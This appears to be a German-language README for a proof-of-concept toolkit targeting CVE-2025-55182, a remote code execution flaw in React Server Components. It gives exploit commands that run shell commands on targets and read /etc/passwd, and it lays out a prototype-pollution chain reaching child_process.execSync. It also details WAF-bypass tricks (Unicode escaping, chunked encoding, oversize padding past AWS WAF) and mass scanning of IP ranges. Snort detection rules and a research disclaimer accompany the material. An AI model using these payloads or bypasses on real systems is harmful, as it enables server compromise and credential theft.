
CVE-2025-55182-POC
React Server Components (RSC) Unsafe Deserialization – Sammlung von Exploit- und Erkennungstools für die Sicherheitslücke
docker-compose.yml – Next.js 15.0.3 + React 19.0.0-rcvulnerable-app/ – Verwundbarer Server Action-Codeexploit_advanced.py – Unterstützt mehrere Angriffstechniken (Basic/Advanced/Chunked/Oversize)rsc_vulnerability_checker_multi.py – Multi-Target-Schwachstellendiagnosetoolrules_priority_based – Snort-priorisierte Erkennungsregelsammlungcd vulnerable-app
docker-compose up -d
# http://localhost:3000 aufrufen
# Einzel-URL-Test
python3 rsc_vulnerability_checker_multi.py http://localhost:3000
# Batch-Scan mehrerer URLs
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# IP-Bereich-Scan
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20
# Aus Datei lesen
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv
# Basisangriff
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic
# Erweiterter Angriff (Prototype Chain + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced
# WAF-Umgehung – Unicode-Kodierung
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass
# WAF-Umgehung – Chunked Transfer Encoding
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked
# WAF-Umgehung – Oversize-Payload (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536
# Alle Techniken nacheinander ausprobieren
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v
# Angriffsverkehr aufzeichnen
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump
# Mit Snort analysieren
snort -c snort.conf -r attack.pcap -A console -k none
Direkte Übertragung der RSC Flight-Payload
# Server Action direkt aufrufen
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>
["$@1",["$","$L2",null,{...}]]
RCE mittels Prototype Pollution
// Kernprinzip
{
"then": "$1:__proto__:then", // Chunk.prototype.then auslösen
"_response": { // Fake-Response injizieren
"_formData": {...},
"_prefix": ""
},
"$1:constructor:constructor": Function // Zugriff auf Function-Konstruktor
}
Angriffskette:
__proto__-Verschmutzung setzt Chunk.prototype.then_response-Objekt zur Kontrolle von FormData$B-Handler ruft response._formData.get(id) aufconstructor:constructor-Kette ermöglicht Zugriff auf Functionprocess.mainModule.require('child_process').execSync(cmd)Musterverteilung mittels Transfer-Encoding
POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked
10
["$@1",["$","
15
$L2",null,{"then
...
Umgehung der AWS WAF-Größenbeschränkung
payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF: Prüft nur die ersten 8 KB
# Tatsächlicher Angriffscode nach 8 KB platziert
process.mainModule.require + child_process + execSync__proto__ + resolved_model + RCE-Modul/etc/passwd, /etc/shadow, .ssh/id_rsarequests-Bibliothek
pip install requests
# Einzel-URL
python3 rsc_vulnerability_checker_multi.py http://target.com
# Mehrere URLs
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# IP-Bereich-Scan (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000
# IP-Bereich-Scan (Bindestrich)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50
# Dateieingabe/-ausgabe
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv
# Verbose-Modus
python3 rsc_vulnerability_checker_multi.py http://target.com -v
[VULNERABLE] http://target.com:3000 – React 19.0.0-rc, Next.js 15.0.3
[SAFE] http://example.com:3000 – Nicht verwundbar
[ERROR] http://offline.com:3000 – Verbindungszeitüberschreitung
--basic: Direkte RSC Flight-Payload-Übertragung--advanced: Prototype Chain + thenable-Technik--chunked: Transfer-Encoding-Aufteilung--oversize <size>: Oversize-Payload (Standard: 65536 Bytes)--all: Alle Techniken nacheinander ausprobieren--waf-bypass: Unicode-Kodierung (constructor → \u0063onstructor)--chunked: Musterverteilung--oversize: Umgehung der AWS WAF-Größenbeschränkung-v, --verbose: Detaillierte Ausgabe-t, --timeout: Anfrage-Timeout (Standard: 10 Sekunden)experimental-Funktionenrules_priority_based)__proto__-Schlüsselwortsprocess.mainModule.require-Musters# Snort-Echtzeitüberwachung
snort -c snort.conf -i eth0 -A console
# Logdatei-Analyse
snort -c snort.conf -r network.pcap -A fast
Dieser Beitrag ist nur für Forschungs-, Bildungs- und Diagnosezwecke bestimmt.